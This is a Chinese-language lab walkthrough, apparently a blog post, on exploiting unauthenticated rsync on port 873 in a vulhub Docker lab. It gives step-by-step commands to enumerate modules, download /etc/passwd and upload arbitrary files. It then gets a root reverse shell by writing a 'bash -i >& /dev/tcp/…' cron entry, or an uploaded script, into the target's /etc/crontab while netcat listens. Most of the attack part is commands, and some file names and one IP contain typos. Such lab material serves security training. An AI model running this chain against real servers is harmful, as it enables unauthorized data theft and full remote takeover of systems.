关于rsync服务未授权漏洞的几种利用方式~~

00x0 前言

环境:

Ubuntu:192.168.25.129(靶机)

kali:192.168.25.128(攻击机)

在Ubuntu上启动rsync的docker环境:

    进入环境:cd vulhub/rsync/common

    自动编译环境:sudo docker-compose build

    启动整个环境:sudo docker-compose up -d

    最后实验完成时删除整个环境:sudo docker-compose down -v

00x1 漏洞介绍

    rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

00x2 常用命令

(1)查看服务器目录

1
2
3
rsync ip:: (rsync默认端口873)

rsync --port=xxx ip:: (rsync指定了其他端口)

(2)查看服务器目录下的文件

1
rsync ip::目录名

(3)上传文件

1
rsync -av <需要上传的文件> ip::上传文件路径

(4)下载文件

1
rsync -av ip::下载文件路径 <下载文件存放的路径>

00x3 漏洞验证

1、在kali上扫描靶机端口,可以看到873端口开放

1
nmap -sS 192.158.25.129

2、查看目录,若能查看到目录,则说明漏洞存在

1
rsync 192.168.25.129::

3、查看目录下的文件

1
rsync 192.168.25.129::src

00x4 漏洞利用——任意文件下载

1、下载目标靶机的任意文件,这里下载etc/passwd文件

1
2
3
rsync -av 192.168.25.129::src/etc/passwd /tmp

(src/etc/passwd是目标内容,/tmp是自己指定存储在本地的路径)

2、查看下载的文件

1
cat /tmp/passwd

00x5 漏洞利用——任意文件上传

1、上传任意文件到目标靶机

1
2
3
rsync -av /home/kali/a.txt 192.168.25.129::src/tmp/a.txt

(/home/kali/a.txt是攻击机上的文件路径,src/tmp/a.txt是指要上传到目标靶机的路径)

2、查看是否上传成功

1
rsync 192.168.25.129::src/tmp/

00x6 漏洞利用——利用计划任务反弹shell

方法一:

整体思路:

(1)下载靶机的系统计划任务文件(目录为/etc/crontab)

(2)修改下载好的计划任务文件,将命令写入其中

(3)开启监听端口

(4)将修改好的计划任务crontab文件传回到靶机

1、下载Ubuntu靶机的系统计划任务文件到kali的root目录下

1
rsync -av 192.168.25.129::src/etc/crontab /root

2、在下载好的crontab中写入计划任务

1
*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.25.128/11111 0>&1"

3、在kali上开启监听端口

1
nc -lvnp 11111

4、将修改好的crontab文件传回到靶机系统计划任务目录/etc/crontab中

1
rsync -av crontab 192.168.25.129::src/etc/crontab

5、反弹shell成功

方法二:

    利用方法一就好了,方法二跟方法一差不多,就是将反弹命令写入到sh文件了。

整体思路:

(1)创建一个sh文件,写入反弹shell命令并赋予执行权限

(2)将sh文件上传到靶机

(3)下载靶机的系统计划任务文件(目录为/etc/crontab)

(4)修改下载好的计划任务文件,将命令写入其中

(5)开启监听端口

(6)将修改好的计划任务crontab文件传回到靶机

1、新建一个文件111.sh写入反弹shell命令

1
2
3
4
5
bash -c "bash -i >& /dev/tcp/192.168.25.128/9999 0>&1"

(其中192.168.25.128是监听ip,即攻击者ip,9999为监听端口)

查看是否写入成功:cat 111.sh

2、赋予执行权限

1
2
3
chmod +x 111l.sh

查看权限是否赋予成功:ls -l 111s.sh

3、将反弹shell文件上传到攻击者目录下

1
rsync -av 111.sh 192.168.25.129::src/tmp/111.sh

4、查看是否上传成功

1
rsync 192.168.25.129::src/tmp/

5、下载对方定时任务文件crontab到/root目录下

1
rsync -av 192.168.25.129::src/etc/crontab /root

6、在crontab文件末尾写入命令

1
*/1 * * * * root /tmp/111.sh

    保存并退出

7、设置监听端口

    在kali上另外开一个命令行窗口,监听9999端口:nc -lvnp 9999

8、将crontab文件上传到目标靶机

1
rsync -av crontab 192.168.25.129::src/etc/crontab

9、在监听端口处可以看到成功获得反弹shell